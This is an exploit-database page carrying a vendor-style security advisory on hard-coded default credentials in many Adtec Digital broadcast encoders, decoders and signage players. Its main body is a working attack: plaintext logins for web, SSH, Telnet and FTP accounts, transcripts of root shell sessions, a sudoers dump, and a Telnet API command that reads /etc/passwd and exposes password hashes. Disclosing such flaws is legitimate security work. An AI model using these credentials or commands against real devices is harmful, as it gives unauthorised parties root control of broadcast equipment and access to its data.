Adtec digital multiple products default hardcoded credentials remote root Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-10-27 | Type : remote | Platform : hardware
This exploit / vulnerability Adtec digital multiple products default hardcoded credentials remote root is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Adtec Digital Multiple Products - Default Hardcoded Credentials Remote Root
# Date: 2020-07-24
# Exploit Author: LiquidWorm
# Software Link: https://www.adtecdigital.com / https://www.adtecdigital.com/support/documents-downloads
# Version: Multiple

Adtec Digital Multiple Products - Default Hardcoded Credentials Remote Root


Vendor: Adtec Digital, Inc.
Product web page: https://www.adtecdigital.com
https://www.adtecdigital.com/support/documents-downloads
Affected version: SignEdje Digital Signage Player v2.08.28
mediaHUB HD-Pro High & Standard Definition MPEG2 Encoder v3.07.19
afiniti Multi-Carrier Platform v1905_11
EN-31 Dual Channel DSNG Encoder / Modulator v2.01.15
EN-210 Multi-CODEC 10-bit Encoder / Modulator v3.00.29
EN-200 1080p AVC Low Latency Encoder / Modulator v3.00.29
ED-71 10-bit / 1080p Integrated Receiver Decoder v2.02.24
edje-5110 Standard Definition MPEG2 Encoder v1.02.05
edje-4111 HD Digital Media Player v2.07.09
Soloist HD-Pro Broadcast Decoder v2.07.09
adManage Traffic & Media Management Application v2.5.4

Summary: Adtec Digital is a leading manufacturer of Broadcast, Cable and IPTV products and
solutions.

Desc: The devices utilizes hard-coded and default credentials within its Linux distribution
image for Web/Telnet/SSH access. A remote attacker could exploit this vulnerability by logging
in using the default credentials for accessing the web interface or gain shell access as root.

Tested on: GNU/Linux 4.1.8 (armv7l)
GNU/Linux 3.12.38 (PowerPC)
GNU/Linux 2.6.14 (PowerPC)
Adtec Embedded Linux 0.9 (fido)
Apache


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2020-5603
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5603.php


24.07.2020

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Creds:
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adtec:none:500:1000:adtec:/media:/bin/sh
admin:1admin!:502:502:admin:/home/admin:/bin/sh
root1:1root!:0:0:root:/root:/bin/sh
adtecftp:adtecftp2231


SSH:
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login as: root
root@192.168.3.12's password:

Successfully logged in.
Thank you for choosing Adtec Digital products-
we know you had a choice and we appreciate your decision!

root@targethostname:~# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
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admin@targethostname:/$ id
uid=502(admin) gid=502(admin) groups=0(root),502(admin)
admin@targethostname:~$ id adtec
uid=500(adtec) gid=1000(users) groups=1000(users),72(apache)
admin@targethostname:~$ cat /etc/sudoers |grep -v "#"
root ALL=(ALL) ALL
apache ALL=(ALL) NOPASSWD: ALL


Telnet (API):
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Adtec Resident Telnet Server...
UserName:
adtec
adtec
PassWord:
none
User adtec connected
*.SYSD SHELLCMD cat /etc/passwd
*.SYSD CMD cat /etc/passwd
OK
root:he7TRuXjJjxfc:0:0:root:/root:/bin/sh
adtec:GC1BpYa80PaoY:500:1000:adtec:/media:/bin/sh
apache:!!:72:72:Apache Server:/dev/null:/sbin/nologin
fregd:!!:73:73:Freg Daemon:/dev/null:/sbin/nologin
ntp:!!:38:38:NTP Server:/dev/null:/sbin/nologin
syslogd:!!:74:74:Syslog Daemon:/dev/null:/sbin/nologin
admin:rDglOB38TVYRg:502:502:admin:/home/admin:/bin/sh
sshd:x:71:65:SSH daemon:/var/lib/sshd:/bin/false
avahi:x:82:82:Avahi Daemon:/dev/null/:/sbin/nologin
avahi-autoipd:x:83:83:Avahi Autoipd:/dev/null/:/sbin/nologin
messagebus:x:81:81:Message Bus Daemon:/dev/null:/sbin/nologin
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